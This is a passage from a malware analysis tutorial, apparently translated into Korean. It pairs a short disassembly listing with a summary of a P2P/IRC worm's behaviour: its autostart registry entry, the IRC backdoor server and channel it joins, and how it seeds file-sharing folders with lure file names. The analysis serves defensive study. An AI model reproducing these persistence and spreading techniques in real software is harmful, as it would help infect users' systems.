.text:00402969 loc_402969:                             ; CODE XREF: sub_4027F2+170
.text:00402969                cmp     esi, 1
.text:0040296C                jnz     short loc_402973
.text:0040296E                call    sub_401EB9
.text:00402973
.text:00402973 loc_402973:                             ; CODE XREF: sub_4027F2+17A
.text:00402973                cmp     ebx, 1
```

```
.text:00402976                jnz     short loc_40297D
.text:00402978                call    sub_4020E7
.text:0040297D
.text:0040297D loc_40297D:                            ; CODE XREF: sub_4027F2+184
.text:0040297D                cmp     [ebp+var_C], 1
.text:00402981                jnz     short loc_402988
.text:00402983                call    sub_4022FB
.text:00402988
.text:00402988 loc_402988:                            ; CODE XREF: sub_4027F2+18F
.text:00402988                cmp     [ebp+var_10], 1
.text:0040298C                jnz     short loc_402993
.text:0040298E                call    sub_4024E2
.text:00402993
```

이제 다른 함수는 모든 다른 파일 공유 소프트웨어에 대해 호출된다. 이것은 흥미롭지는 않으며, malware가 그것의 복사본을 위치시키는 system32₩msview 디렉토리를 공유 폴더 목록에 추가하고, 업로드 설정을 변경함으로써 spreading process의 속도를 높이기 위해 config 파일과 레지스트리 설정을 변경한다.

Summary

여태까지의 분석을 통해 바이너리를 실행하지 않고도 이 malware가 무엇을 하는지 우리는 완전하게 이해를 하게 되었다. 다음은 우리가 발견한 것에 대한 요약이다:

- 자신을 "svcnet.exe"라는 이름으로 시스템 디렉토리로 복사한다.
- HKLM과 HKCU₩Software₩Microsoft₩Windows₩CurrentVersion₩Run로 autostart 항목("Shellapi32")를 만든다.
- "tbc3.hanged.tk"라는 irc 서버로 연결하고, "##TIBiC-P2P3##" 채널로 조인하여 공격자로 하여금 임의의 코드를 로그온 한 사용자의 권한으로 실행하게 한다.
- Emule, Kazaa, Morpheus 또는 DC++와 같은 파일 공유 소프트웨어들이 있는지 확인한다.
- 만약 그런 소프트웨어를 발견했다면 웜은 시스템 디렉토리에 "msview" 서버폴더를 만들고, 복사본에 0을 붙여 "WinRAR 3.x Crack.exe"과 같은 파일명 또는 다른 파일 크기를 사용하는 파일명으로 웜 자신을 서버폴더에 복사한다.
- 공유 폴더로 "msview"를 포함하기 위해 그리고 업로딩 속도를 높이기 위해 발견된 파일 공유 어플리케이션의 설정을 수정한다.
- “실제” 파일크기는 0x8C20(35872)바이트이다.

Autostart 항목을 삭제 및 생성된 파일들을 삭제함으로써 이 malware에 의해 장악된 시스템을 감염시키지 않을 수 있을 것이라고 생각할 수 있으나 설치된 백도어를 사용해 공격자가 어떤 파일을 실행했는지 알 수 없다. 이런 이유 때문에 웜에 감염된 시스템은 신뢰할 수 없으며, 유일한 완벽한 솔루션은 시스템을 다시 설치하는 것이다. 다른 어떤 악의적인 코드가 실행되고 있는지 알 수 없기 때문에 이 시스템에 접근이 가능한 어떤 데이터도 신뢰할 수 없다.

End

If you have feedback, suggestions and/or (constructive) criticism, send it to lesco[at]gmx[dot]de

Document history

- Updated 24.10.2006: Fixed some mistakes, thanks to nait for reporting them.
- Updated 25.10.2006: Fixed a lot of other mistakes and made some design changes, thanks to morpheus, DarkTom and parvus for corrections and suggestions.
- Updated 06.11.2006: Fixed some other spelling mistakes, thanks to CryptoCrack